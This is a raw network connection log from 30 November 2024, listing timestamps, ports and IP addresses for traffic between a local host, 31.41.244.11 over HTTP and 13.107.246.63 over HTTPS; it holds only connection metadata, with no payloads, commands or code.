Nov 30, 2024 09:45:11.181138992 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.182069063 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.182123899 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.183108091 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.183159113 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.184114933 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.184180975 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.185134888 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.185147047 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.185187101 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.187163115 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.187174082 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.187236071 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.189133883 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.189146042 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.189207077 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.190166950 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.190222025 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.191168070 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.191211939 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.192195892 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.192246914 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.193169117 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.193217039 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.194186926 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.194197893 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.194238901 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.196217060 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.196268082 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.196357965 CET	443	49793	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.196438074 CET	443	49793	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.196593046 CET	49793	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.196621895 CET	49793	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.196650028 CET	443	49793	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.196662903 CET	49793	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.196670055 CET	443	49793	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.197220087 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.198199987 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.198219061 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.198266029 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.198301077 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.199388981 CET	49799	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.199412107 CET	443	49799	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.199475050 CET	49799	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.199599028 CET	49799	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.199609041 CET	443	49799	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.200201988 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.200222015 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.200249910 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.200273037 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.202229023 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.202241898 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.202281952 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.203434944 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.204237938 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.204302073 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.205296993 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.205358982 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.206279993 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.206335068 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.207318068 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.207329988 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.207374096 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.209300995 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.209311962 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.209350109 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.211360931 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.211370945 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.211421967 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.212357998 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.212408066 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.213330984 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.213380098 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.214334011 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.214379072 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.215383053 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.216375113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.216386080 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.216428041 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.218378067 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.218455076 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.219386101 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.220427036 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.220437050 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.220484018 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.222393990 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.222404957 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.222462893 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.224409103 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.224420071 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.224469900 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.225455999 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.225509882 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.226449966 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.226501942 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.227479935 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.227575064 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.228468895 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.229964018 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.229975939 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.230027914 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.230088949 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.231117964 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.231211901 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.231997013 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.232042074 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.254729986 CET	443	49795	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.254792929 CET	443	49795	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.254894018 CET	49795	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.255125999 CET	49795	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.255143881 CET	443	49795	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.255151987 CET	49795	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.255157948 CET	443	49795	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.257513046 CET	49800	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.257535934 CET	443	49800	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.257600069 CET	49800	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.257733107 CET	49800	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.257745981 CET	443	49800	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.346189976 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.346281052 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.346434116 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.346487045 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.346837044 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.346885920 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.347062111 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.347110033 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.347524881 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.347570896 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.348069906 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.348118067 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.348423958 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.348467112 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.349278927 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.349325895 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.349503040 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.349554062 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.350428104 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.350472927 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.350642920 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.350688934 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.351604939 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.351654053 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.351816893 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.351859093 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.352766991 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.352824926 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.352988958 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.353037119 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.353920937 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.353969097 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.354186058 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.354245901 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.355113029 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.355160952 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.355365038 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.355411053 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.356281996 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.356347084 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.356518030 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.356564045 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.357451916 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.357500076 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.357671976 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.357717037 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.358614922 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.358659029 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.358859062 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.358903885 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.359817028 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.359863997 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.360080957 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.360126972 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.360990047 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.361044884 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.361238956 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.361279011 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.362328053 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.362371922 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.362531900 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.362580061 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.363348961 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.363390923 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.363610983 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.363672018 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.364511967 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.364557028 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.364753962 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.364799023 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.365685940 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.365745068 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.365921021 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.365966082 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.366836071 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.366900921 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.367078066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.367126942 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.368038893 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.368084908 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.368247986 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.368309021 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.369225979 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.369271994 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.369441032 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.369487047 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.370373011 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.370420933 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.370585918 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.370630980 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.372009039 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.372020006 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.372057915 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.373816967 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.373827934 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.373871088 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.376622915 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.376640081 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.376683950 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.378654003 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.378664970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.378705025 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.379688978 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.379736900 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.380687952 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.380733967 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.381680012 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.381725073 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.382661104 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.382709026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.383745909 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.383797884 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.384680033 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.384726048 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.385678053 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.385695934 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.385725975 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.385735989 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.387763023 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.387773991 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.387815952 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.389743090 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.389786959 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.390749931 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.390794039 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.391799927 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.391848087 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.392775059 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.392823935 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.393785000 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.393795967 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.393834114 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.395808935 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.395821095 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.395869970 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.397789955 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.397825956 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.397855997 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.397881031 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.398837090 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.398885012 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.399848938 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.399898052 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.400849104 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.400902033 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.401835918 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.401880026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.403110027 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.403120041 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.403157949 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.405883074 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.405894041 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.405947924 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.407879114 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.407921076 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.407960892 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.409019947 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.409070969 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.409917116 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.409965038 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.410938978 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.410996914 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.411921978 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.411967039 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.412976980 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.412987947 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.413024902 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.414953947 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.414966106 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.415021896 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.416975975 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.416987896 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.417037010 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.419003963 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.419054985 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.419980049 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.420026064 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.420999050 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.421636105 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.422007084 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.423024893 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.423036098 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.423079967 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.425051928 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.425062895 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.425101995 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.427047968 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.427058935 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.427088976 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.427124977 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.429060936 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.429071903 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.429112911 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.431094885 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.431108952 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.431140900 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.431150913 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.547342062 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.547591925 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.547658920 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.547988892 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.548038960 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.548202991 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.548249960 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.548650026 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.548698902 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.549304008 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.549351931 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.549545050 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.549592972 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.550497055 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.550542116 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.550705910 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.550751925 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.551655054 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.551892996 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.551937103 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.552809000 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.552870035 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.553036928 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.553086042 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.554007053 CET	80	49790	31.41.244.11	192.168.2.4
